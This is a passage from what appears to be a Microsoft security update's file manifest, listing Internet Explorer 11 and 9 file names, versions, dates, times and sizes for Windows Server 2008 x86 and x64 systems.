11.0.9600.19963| 13-Feb-2021| 11:53| 47,616 \nurlmon.dll.mui| 11.0.9600.19963| 13-Feb-2021| 11:54| 49,152 \nurlmon.dll.mui| 11.0.9600.19963| 13-Feb-2021| 11:55| 50,688 \nurlmon.dll.mui| 11.0.9600.19963| 13-Feb-2021| 11:56| 45,056 \nurlmon.dll.mui| 11.0.9600.19963| 13-Feb-2021| 11:56| 49,152 \nurlmon.dll.mui| 11.0.9600.19963| 13-Feb-2021| 11:57| 49,152 \nurlmon.dll.mui| 11.0.9600.19963| 13-Feb-2021| 11:58| 49,664 \nurlmon.dll.mui| 11.0.9600.19963| 13-Feb-2021| 11:59| 39,936 \nurlmon.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:00| 39,424 \nurlmon.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:01| 47,616 \nurlmon.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:01| 47,616 \nurlmon.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:03| 48,640 \nurlmon.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:03| 51,200 \nurlmon.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:04| 50,688 \nurlmon.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:05| 49,664 \nurlmon.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:06| 50,176 \nurlmon.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:06| 49,152 \nurlmon.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:07| 48,640 \nurlmon.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:08| 50,176 \nurlmon.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:09| 48,640 \nurlmon.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:10| 49,664 \nurlmon.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:11| 48,640 \nurlmon.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:12| 48,128 \nurlmon.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:12| 49,152 \nurlmon.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:13| 48,128 \nurlmon.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:14| 35,328 \nurlmon.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:15| 35,328 \nurlmon.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:16| 35,328 \noccache.dll.mui| 11.0.9600.19963| 13-Feb-2021| 11:47| 9,728 \noccache.dll.mui| 11.0.9600.19963| 13-Feb-2021| 11:48| 10,752 \noccache.dll.mui| 11.0.9600.19963| 13-Feb-2021| 11:49| 10,240 \noccache.dll.mui| 11.0.9600.19963| 13-Feb-2021| 11:50| 9,728 \noccache.dll.mui| 11.0.9600.19963| 13-Feb-2021| 11:51| 10,752 \noccache.dll.mui| 11.0.9600.19963| 13-Feb-2021| 11:52| 11,264 \noccache.dll.mui| 11.0.9600.19963| 13-Feb-2021| 13:20| 9,728 \noccache.dll.mui| 11.0.9600.19963| 13-Feb-2021| 11:52| 10,752 \noccache.dll.mui| 11.0.9600.19963| 13-Feb-2021| 11:53| 10,240 \noccache.dll.mui| 11.0.9600.19963| 13-Feb-2021| 11:54| 10,240 \noccache.dll.mui| 11.0.9600.19963| 13-Feb-2021| 11:55| 10,752 \noccache.dll.mui| 11.0.9600.19963| 13-Feb-2021| 11:56| 9,216 \noccache.dll.mui| 11.0.9600.19963| 13-Feb-2021| 11:56| 10,240 \noccache.dll.mui| 11.0.9600.19963| 13-Feb-2021| 11:58| 10,240 \noccache.dll.mui| 11.0.9600.19963| 13-Feb-2021| 11:58| 10,752 \noccache.dll.mui| 11.0.9600.19963| 13-Feb-2021| 11:59| 7,680 \noccache.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:00| 7,680 \noccache.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:01| 10,240 \noccache.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:02| 10,240 \noccache.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:02| 9,728 \noccache.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:03| 10,240 \noccache.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:04| 10,240 \noccache.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:05| 10,752 \noccache.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:06| 10,752 \noccache.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:06| 10,240 \noccache.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:07| 10,240 \noccache.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:08| 10,752 \noccache.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:09| 10,240 \noccache.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:10| 10,240 \noccache.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:10| 9,728 \noccache.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:11| 9,728 \noccache.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:12| 10,240 \noccache.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:13| 10,240 \noccache.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:14| 6,656 \noccache.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:15| 6,656 \noccache.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:16| 6,656 \nwininet.dll| 11.0.9600.19963| 12-Feb-2021| 17:53| 4,388,352 \njsproxy.dll| 11.0.9600.19963| 12-Feb-2021| 18:41| 47,104 \ninetcpl.cpl.mui| 11.0.9600.19963| 13-Feb-2021| 11:47| 114,176 \ninetcpl.cpl.mui| 11.0.9600.19963| 13-Feb-2021| 11:48| 130,560 \ninetcpl.cpl.mui| 11.0.9600.19963| 13-Feb-2021| 11:49| 124,928 \ninetcpl.cpl.mui| 11.0.9600.19963| 13-Feb-2021| 11:50| 122,880 \ninetcpl.cpl.mui| 11.0.9600.19963| 13-Feb-2021| 11:51| 130,048 \ninetcpl.cpl.mui| 11.0.9600.19963| 13-Feb-2021| 11:51| 138,240 \ninetcpl.cpl.mui| 11.0.9600.19963| 13-Feb-2021| 13:20| 114,688 \ninetcpl.cpl.mui| 11.0.9600.19963| 13-Feb-2021| 11:52| 131,584 \ninetcpl.cpl.mui| 11.0.9600.19963| 13-Feb-2021| 11:53| 117,760 \ninetcpl.cpl.mui| 11.0.9600.19963| 13-Feb-2021| 11:54| 122,368 \ninetcpl.cpl.mui| 11.0.9600.19963| 13-Feb-2021| 11:55| 134,144 \ninetcpl.cpl.mui| 11.0.9600.19963| 13-Feb-2021| 11:56| 107,008 \ninetcpl.cpl.mui| 11.0.9600.19963| 13-Feb-2021| 11:57| 123,392 \ninetcpl.cpl.mui| 11.0.9600.19963| 13-Feb-2021| 11:58| 127,488 \ninetcpl.cpl.mui| 11.0.9600.19963| 13-Feb-2021| 11:58| 128,512 \ninetcpl.cpl.mui| 11.0.9600.19963| 13-Feb-2021| 11:59| 88,576 \ninetcpl.cpl.mui| 11.0.9600.19963| 13-Feb-2021| 12:00| 82,944 \ninetcpl.cpl.mui| 11.0.9600.19963| 13-Feb-2021| 12:01| 125,440 \ninetcpl.cpl.mui| 11.0.9600.19963| 13-Feb-2021| 12:02| 123,392 \ninetcpl.cpl.mui| 11.0.9600.19963| 13-Feb-2021| 12:02| 120,320 \ninetcpl.cpl.mui| 11.0.9600.19963| 13-Feb-2021| 12:03| 130,560 \ninetcpl.cpl.mui| 11.0.9600.19963| 13-Feb-2021| 12:04| 129,024 \ninetcpl.cpl.mui| 11.0.9600.19963| 13-Feb-2021| 12:05| 125,952 \ninetcpl.cpl.mui| 11.0.9600.19963| 13-Feb-2021| 12:06| 129,024 \ninetcpl.cpl.mui| 11.0.9600.19963| 13-Feb-2021| 12:06| 128,000 \ninetcpl.cpl.mui| 11.0.9600.19963| 13-Feb-2021| 12:07| 123,904 \ninetcpl.cpl.mui| 11.0.9600.19963| 13-Feb-2021| 12:08| 129,024 \ninetcpl.cpl.mui| 11.0.9600.19963| 13-Feb-2021| 12:09| 123,904 \ninetcpl.cpl.mui| 11.0.9600.19963| 13-Feb-2021| 12:10| 124,416 \ninetcpl.cpl.mui| 11.0.9600.19963| 13-Feb-2021| 12:11| 121,856 \ninetcpl.cpl.mui| 11.0.9600.19963| 13-Feb-2021| 12:11| 115,712 \ninetcpl.cpl.mui| 11.0.9600.19963| 13-Feb-2021| 12:12| 123,904 \ninetcpl.cpl.mui| 11.0.9600.19963| 13-Feb-2021| 12:13| 125,440 \ninetcpl.cpl.mui| 11.0.9600.19963| 13-Feb-2021| 12:14| 72,704 \ninetcpl.cpl.mui| 11.0.9600.19963| 13-Feb-2021| 12:15| 73,728 \ninetcpl.cpl.mui| 11.0.9600.19963| 13-Feb-2021| 12:16| 73,728 \niedkcs32.dll| 18.0.9600.19963| 13-Feb-2021| 11:46| 341,896 \ninstall.ins| Not versioned| 12-Feb-2021| 16:25| 464 \nieapfltr.dat| 10.0.9301.0| 23-Sep-2018| 6:18| 616,104 \nieapfltr.dll| 11.0.9600.19963| 12-Feb-2021| 17:48| 710,656 \niedvtool.dll| 11.0.9600.19963| 12-Feb-2021| 18:59| 772,608 \nDiagnosticsTap.dll| 11.0.9600.19963| 12-Feb-2021| 18:28| 175,104 \nF12Tools.dll.mui| 11.0.9600.19963| 13-Feb-2021| 11:47| 2,048 \nF12Tools.dll.mui| 11.0.9600.19963| 13-Feb-2021| 11:48| 2,048 \nF12Tools.dll.mui| 11.0.9600.19963| 13-Feb-2021| 11:49| 2,048 \nF12Tools.dll.mui| 11.0.9600.19963| 13-Feb-2021| 11:50| 2,048 \nF12Tools.dll.mui| 11.0.9600.19963| 13-Feb-2021| 11:51| 2,048 \nF12Tools.dll.mui| 11.0.9600.19963| 13-Feb-2021| 11:51| 2,048 \nF12Tools.dll.mui| 11.0.9600.19963| 13-Feb-2021| 13:20| 2,048 \nF12Tools.dll.mui| 11.0.9600.19963| 13-Feb-2021| 11:52| 2,048 \nF12Tools.dll.mui| 11.0.9600.19963| 13-Feb-2021| 11:53| 2,048 \nF12Tools.dll.mui| 11.0.9600.19963| 13-Feb-2021| 11:54| 2,048 \nF12Tools.dll.mui| 11.0.9600.19963| 13-Feb-2021| 11:55| 2,048 \nF12Tools.dll.mui| 11.0.9600.19963| 13-Feb-2021| 11:56| 2,048 \nF12Tools.dll.mui| 11.0.9600.19963| 13-Feb-2021| 11:56| 2,048 \nF12Tools.dll.mui| 11.0.9600.19963| 13-Feb-2021| 11:58| 2,048 \nF12Tools.dll.mui| 11.0.9600.19963| 13-Feb-2021| 11:58| 2,048 \nF12Tools.dll.mui| 11.0.9600.19963| 13-Feb-2021| 11:59| 2,048 \nF12Tools.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:00| 2,048 \nF12Tools.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:01| 2,048 \nF12Tools.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:01| 2,048 \nF12Tools.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:02| 2,048 \nF12Tools.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:03| 2,048 \nF12Tools.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:04| 2,048 \nF12Tools.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:05| 2,048 \nF12Tools.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:06| 2,048 \nF12Tools.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:06| 2,048 \nF12Tools.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:07| 2,048 \nF12Tools.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:08| 2,048 \nF12Tools.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:09| 2,048 \nF12Tools.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:10| 2,048 \nF12Tools.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:10| 2,048 \nF12Tools.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:11| 2,048 \nF12Tools.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:12| 2,048 \nF12Tools.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:13| 2,048 \nF12Tools.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:14| 2,048 \nF12Tools.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:15| 2,048 \nF12Tools.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:15| 2,048 \nF12Tools.dll| 11.0.9600.19963| 12-Feb-2021| 18:27| 256,000 \nmsfeedsbs.mof| Not versioned| 12-Feb-2021| 16:34| 1,574 \nmsfeedsbs.dll| 11.0.9600.19963| 12-Feb-2021| 18:21| 52,736 \nmsfeedssync.exe| 11.0.9600.19963| 12-Feb-2021| 18:48| 11,776 \nhtml.iec| 2019.0.0.19963| 12-Feb-2021| 18:46| 341,504 \nielowutil.exe| 11.0.9600.19963| 12-Feb-2021| 18:39| 221,184 \nieproxy.dll| 11.0.9600.19963| 12-Feb-2021| 17:45| 310,784 \nIEShims.dll| 11.0.9600.19963| 12-Feb-2021| 17:51| 290,304 \njsprofilerui.dll| 11.0.9600.19963| 12-Feb-2021| 18:22| 579,584 \nMshtmlDac.dll| 11.0.9600.19963| 12-Feb-2021| 18:45| 64,000 \nnetworkinspection.dll| 11.0.9600.19963| 12-Feb-2021| 18:18| 1,075,200 \nmsrating.dll| 11.0.9600.19963| 12-Feb-2021| 18:22| 168,960 \nicrav03.rat| Not versioned| 23-Sep-2018| 6:27| 8,798 \nticrf.rat| Not versioned| 23-Sep-2018| 6:27| 1,988 \niertutil.dll| 11.0.9600.19963| 12-Feb-2021| 18:44| 2,308,096 \nsqmapi.dll| 6.2.9200.16384| 13-Feb-2021| 11:46| 228,232 \ninseng.dll| 11.0.9600.19963| 12-Feb-2021| 18:24| 91,136 \nVGX.dll| 11.0.9600.19963| 12-Feb-2021| 18:21| 818,176 \nieframe.dll.mui| 11.0.9600.19963| 13-Feb-2021| 11:48| 2,066,432 \nieui.dll.mui| 11.0.9600.19963| 13-Feb-2021| 11:47| 3,072 \nieframe.dll.mui| 11.0.9600.19963| 13-Feb-2021| 11:49| 2,121,216 \nieui.dll.mui| 11.0.9600.19963| 13-Feb-2021| 11:48| 3,072 \nieframe.dll.mui| 11.0.9600.19963| 13-Feb-2021| 11:49| 2,075,136 \nieui.dll.mui| 11.0.9600.19963| 13-Feb-2021| 11:49| 3,072 \nieframe.dll.mui| 11.0.9600.19963| 13-Feb-2021| 11:50| 2,063,872 \nieui.dll.mui| 11.0.9600.19963| 13-Feb-2021| 11:50| 3,072 \nieframe.dll.mui| 11.0.9600.19963| 13-Feb-2021| 11:51| 2,314,240 \nieui.dll.mui| 11.0.9600.19963| 13-Feb-2021| 11:50| 3,072 \nieframe.dll.mui| 11.0.9600.19963| 13-Feb-2021| 11:52| 2,390,528 \nieui.dll.mui| 11.0.9600.19963| 13-Feb-2021| 11:51| 3,584 \nieframe.dll.mui| 11.0.9600.19963| 13-Feb-2021| 13:20| 2,033,152 \nieui.dll.mui| 11.0.9600.19963| 13-Feb-2021| 13:20| 3,072 \nieframe.dll.mui| 11.0.9600.19963| 13-Feb-2021| 11:53| 2,307,584 \nieui.dll.mui| 11.0.9600.19963| 13-Feb-2021| 11:52| 3,072 \nieframe.dll.mui| 11.0.9600.19963| 13-Feb-2021| 11:54| 2,255,872 \nieui.dll.mui| 11.0.9600.19963| 13-Feb-2021| 11:53| 3,072 \nieframe.dll.mui| 11.0.9600.19963| 13-Feb-2021| 11:54| 2,061,312 \nieui.dll.mui| 11.0.9600.19963| 13-Feb-2021| 11:54| 3,072 \nieframe.dll.mui| 11.0.9600.19963| 13-Feb-2021| 11:55| 2,326,016 \nieui.dll.mui| 11.0.9600.19963| 13-Feb-2021| 11:55| 3,584 \nieframe.dll.mui| 11.0.9600.19963| 13-Feb-2021| 11:56| 2,019,840 \nieui.dll.mui| 11.0.9600.19963| 13-Feb-2021| 11:55| 3,072 \nieframe.dll.mui| 11.0.9600.19963| 13-Feb-2021| 11:57| 2,071,040 \nieui.dll.mui| 11.0.9600.19963| 13-Feb-2021| 11:56| 3,072 \nieframe.dll.mui| 11.0.9600.19963| 13-Feb-2021| 11:58| 2,082,816 \nieui.dll.mui| 11.0.9600.19963| 13-Feb-2021| 11:58| 3,584 \nieframe.dll.mui| 11.0.9600.19963| 13-Feb-2021| 11:59| 2,307,584 \nieui.dll.mui| 11.0.9600.19963| 13-Feb-2021| 11:58| 3,072 \nieframe.dll.mui| 11.0.9600.19963| 13-Feb-2021| 11:59| 2,170,368 \nieui.dll.mui| 11.0.9600.19963| 13-Feb-2021| 11:59| 3,072 \nieframe.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:00| 2,153,984 \nieui.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:00| 3,072 \nieframe.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:01| 2,291,712 \nieui.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:01| 3,072 \nieframe.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:02| 2,283,520 \nieui.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:01| 3,072 \nieframe.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:03| 2,052,096 \nieui.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:03| 3,072 \nieframe.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:04| 2,301,952 \nieui.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:03| 3,584 \nieframe.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:04| 2,093,056 \nieui.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:04| 3,072 \nieframe.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:05| 2,075,648 \nieui.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:05| 3,072 \nieframe.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:06| 2,299,392 \nieui.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:06| 3,072 \nieframe.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:07| 2,094,592 \nieui.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:06| 3,072 \nieframe.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:08| 2,316,800 \nieui.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:07| 3,584 \nieframe.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:08| 2,305,536 \nieui.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:08| 3,072 \nieframe.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:10| 2,278,912 \nieui.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:09| 3,072 \nieframe.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:10| 2,277,888 \nieui.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:10| 3,584 \nieframe.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:11| 2,060,288 \nieui.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:10| 3,072 \nieframe.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:12| 2,315,776 \nieui.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:12| 3,072 \nieframe.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:13| 2,278,912 \nieui.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:12| 3,072 \nieframe.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:13| 2,324,992 \nieui.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:13| 3,072 \nieframe.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:14| 2,098,176 \nieui.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:14| 3,072 \nieframe.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:15| 1,890,304 \nieui.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:15| 3,072 \nieframe.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:16| 1,890,304 \nieui.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:15| 3,072 \nieinstal.exe| 11.0.9600.19963| 12-Feb-2021| 18:20| 475,648 \njscript9.dll.mui| 11.0.9600.19963| 13-Feb-2021| 11:47| 29,184 \njscript9.dll.mui| 11.0.9600.19963| 13-Feb-2021| 11:49| 29,696 \njscript9.dll.mui| 11.0.9600.19963| 13-Feb-2021| 11:49| 32,768 \njscript9.dll.mui| 11.0.9600.19963| 13-Feb-2021| 11:50| 33,280 \njscript9.dll.mui| 11.0.9600.19963| 13-Feb-2021| 11:50| 35,328 \njscript9.dll.mui| 11.0.9600.19963| 13-Feb-2021| 11:51| 37,888 \njscript9.dll.mui| 11.0.9600.19963| 13-Feb-2021| 13:20| 29,696 \njscript9.dll.mui| 11.0.9600.19963| 13-Feb-2021| 11:53| 34,304 \njscript9.dll.mui| 11.0.9600.19963| 13-Feb-2021| 11:53| 29,696 \njscript9.dll.mui| 11.0.9600.19963| 13-Feb-2021| 11:54| 33,280 \njscript9.dll.mui| 11.0.9600.19963| 13-Feb-2021| 11:55| 34,304 \njscript9.dll.mui| 11.0.9600.19963| 13-Feb-2021| 11:56| 27,648 \njscript9.dll.mui| 11.0.9600.19963| 13-Feb-2021| 11:57| 29,696 \njscript9.dll.mui| 11.0.9600.19963| 13-Feb-2021| 11:57| 34,304 \njscript9.dll.mui| 11.0.9600.19963| 13-Feb-2021| 11:58| 33,792 \njscript9.dll.mui| 11.0.9600.19963| 13-Feb-2021| 11:59| 23,040 \njscript9.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:00| 22,016 \njscript9.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:01| 29,696 \njscript9.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:02| 29,696 \njscript9.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:03| 31,232 \njscript9.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:03| 34,304 \njscript9.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:04| 35,840 \njscript9.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:05| 32,768 \njscript9.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:06| 33,280 \njscript9.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:06| 29,696 \njscript9.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:07| 34,816 \njscript9.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:08| 33,280 \njscript9.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:09| 32,256 \njscript9.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:10| 29,696 \njscript9.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:10| 32,768 \njscript9.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:11| 29,696 \njscript9.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:12| 30,720 \njscript9.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:13| 29,696 \njscript9.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:14| 16,384 \njscript9.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:15| 16,896 \njscript9.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:15| 16,896 \n \n### **Windows Server 2008**\n\n### \n\n__\n\nInternet Explorer 9 on all supported x86-based versions\n\n**File name**| **File version**| **Date**| **Time**| **File size** \n---|---|---|---|--- \nurlmon.dll| 9.0.8112.21532| 13-Feb-2021| 11:38| 1,141,248 \niexplore.exe| 9.0.8112.21532| 13-Feb-2021| 11:48| 751,544 \ninetcpl.cpl| 9.0.8112.21532| 13-Feb-2021| 11:36| 1,427,968 \nwininet.dll| 9.0.8112.21532| 13-Feb-2021| 11:37| 1,132,032 \njsproxy.dll| 9.0.8112.21532| 13-Feb-2021| 11:36| 75,776 \nWininetPlugin.dll| 1.0.0.1| 13-Feb-2021| 11:36| 66,048 \ntdc.ocx| 9.0.8112.21532| 13-Feb-2021| 11:35| 63,488 \niedvtool.dll| 9.0.8112.21532| 13-Feb-2021| 11:37| 678,912 \ndxtmsft.dll| 9.0.8112.21532| 13-Feb-2021| 11:36| 354,304 \ndxtrans.dll| 9.0.8112.21532| 13-Feb-2021| 11:35| 223,744 \nmsfeeds.dll| 9.0.8112.21532| 13-Feb-2021| 11:36| 607,744 \nmsfeeds.mof| Not versioned| 13-Feb-2021| 11:11| 1,518 \nmsfeedsbs.mof| Not versioned| 13-Feb-2021| 11:11| 1,574 \nmsfeedsbs.dll| 9.0.8112.21532| 13-Feb-2021| 11:35| 41,472 \nmsfeedssync.exe| 9.0.8112.21532| 13-Feb-2021| 11:35| 10,752 \nmshta.exe| 9.0.8112.21532| 13-Feb-2021| 11:35| 11,776 \nhtml.iec| 2019.0.0.21527| 13-Feb-2021| 11:40| 367,616 \nmshtmled.dll| 9.0.8112.21532| 13-Feb-2021| 11:35| 72,704 \nmshtml.dll| 9.0.8112.21532| 13-Feb-2021| 11:45| 12,844,544 \nmshtml.tlb| 9.0.8112.21532| 13-Feb-2021| 11:35| 2,382,848 \nielowutil.exe| 9.0.8112.21532| 13-Feb-2021| 11:36| 223,232 \nieproxy.dll| 9.0.8112.21532| 13-Feb-2021| 11:36| 195,072 \nIEShims.dll| 9.0.8112.21532| 13-Feb-2021| 11:36| 194,560 \nExtExport.exe| 9.0.8112.21532| 13-Feb-2021| 11:36| 22,528 \nWindows Pop-up Blocked.wav| Not versioned| 27-Apr-2018| 10:11| 85,548 \nWindows Information Bar.wav| Not versioned| 27-Apr-2018| 10:11| 23,308 \nWindows Feed Discovered.wav| Not versioned| 27-Apr-2018| 10:11| 19,884 \nWindows Navigation Start.wav| Not versioned| 27-Apr-2018| 10:11| 11,340 \nieUnatt.exe| 9.0.8112.21532| 13-Feb-2021| 11:36| 142,848 \njsdbgui.dll| 9.0.8112.21532| 13-Feb-2021| 11:36| 388,096 \niertutil.dll| 9.0.8112.21532| 13-Feb-2021| 11:36| 1,808,384 \nsqmapi.dll| 6.0.6000.16386| 13-Feb-2021| 11:48| 142,776 \nVGX.dll| 9.0.8112.21532| 13-Feb-2021| 11:36| 769,024 \nurl.dll| 9.0.8112.21532| 13-Feb-2021| 11:36| 231,936 \nieframe.dll| 9.0.8112.21532| 13-Feb-2021| 11:39| 9,757,696 \nieui.dll| 9.0.8112.21532| 13-Feb-2021| 11:34| 176,640 \nieinstal.exe| 9.0.8112.21532| 13-Feb-2021| 11:36| 474,624 \nInetRes.adml| Not versioned| 13-Feb-2021| 11:53| 393,813 \ninetres.admx| Not versioned| 27-Apr-2018| 10:14| 1,601,204 \njsdebuggeride.dll| 9.0.8112.21532| 13-Feb-2021| 11:36| 104,448 \njscript.dll| 5.8.7601.21527| 13-Feb-2021| 11:36| 723,456 \njscript9.dll| 9.0.8112.21532| 13-Feb-2021| 11:43| 1,819,648 \nvbscript.dll| 5.8.7601.21527| 13-Feb-2021| 11:36| 434,176 \n \n### \n\n__\n\nInternet Explorer 9 on all supported x64-based versions\n\n**File name**| **File version**| **Date**| **Time**| **File size** \n---|---|---|---|--- \nurlmon.dll| 9.0.8112.21532| 13-Feb-2021| 12:30| 1,390,592 \niexplore.exe| 9.0.8112.21532| 13-Feb-2021| 12:52| 757,688 \ninetcpl.cpl| 9.0.8112.21532| 13-Feb-2021| 12:28| 1,494,528 \nwininet.dll| 9.0.8112.21532| 13-Feb-2021| 12:30| 1,394,688 \njsproxy.dll| 9.0.8112.21532| 13-Feb-2021| 12:28| 97,280 \nWininetPlugin.dll| 1.0.0.1| 13-Feb-2021| 12:28| 86,528 \ntdc.ocx| 9.0.8112.21532| 13-Feb-2021| 12:27| 76,800 \niedvtool.dll| 9.0.8112.21532| 13-Feb-2021| 12:29| 887,808 \ndxtmsft.dll| 9.0.8112.21532| 13-Feb-2021| 12:28| 452,608 \ndxtrans.dll| 9.0.8112.21532| 13-Feb-2021| 12:28| 281,600 \nmsfeeds.dll| 9.0.8112.21532| 13-Feb-2021| 12:28| 729,088 \nmsfeeds.mof| Not versioned| 13-Feb-2021| 12:02| 1,518 \nmsfeedsbs.mof| Not versioned| 13-Feb-2021| 12:02| 1,574 \nmsfeedsbs.dll| 9.0.8112.21532| 13-Feb-2021| 12:28| 55,296 \nmsfeedssync.exe| 9.0.8112.21532| 13-Feb-2021| 12:28| 11,264 \nmshta.exe| 9.0.8112.21532| 13-Feb-2021| 12:27| 12,800 \nhtml.iec| 2019.0.0.21527| 13-Feb-2021| 12:37| 448,512 \nmshtmled.dll| 9.0.8112.21532| 13-Feb-2021| 12:28| 96,256 \nmshtml.dll| 9.0.8112.21532| 13-Feb-2021| 12:47| 18,810,880 \nmshtml.tlb| 9.0.8112.21532| 13-Feb-2021| 12:27| 2,382,848 \nielowutil.exe| 9.0.8112.21532| 13-Feb-2021| 12:28| 223,744 \nieproxy.dll| 9.0.8112.21532| 13-Feb-2021| 12:28| 550,912 \nIEShims.dll| 9.0.8112.21532| 13-Feb-2021| 12:28| 305,664 \nWindows Pop-up Blocked.wav| Not versioned| 27-Apr-2018| 10:11| 85,548 \nWindows Information Bar.wav| Not versioned| 27-Apr-2018| 10:11| 23,308 \nWindows Feed Discovered.wav| Not versioned| 27-Apr-2018| 10:11| 19,884 \nWindows Navigation Start.wav| Not versioned| 27-Apr-2018| 10:11| 11,340 \nieUnatt.exe| 9.0.8112.21532| 13-Feb-2021| 12:28| 173,568 \njsdbgui.dll| 9.0.8112.21532| 13-Feb-2021| 12:29| 499,712 \niertutil.dll| 9.0.8112.21532| 13-Feb-2021| 12:28| 2,163,200 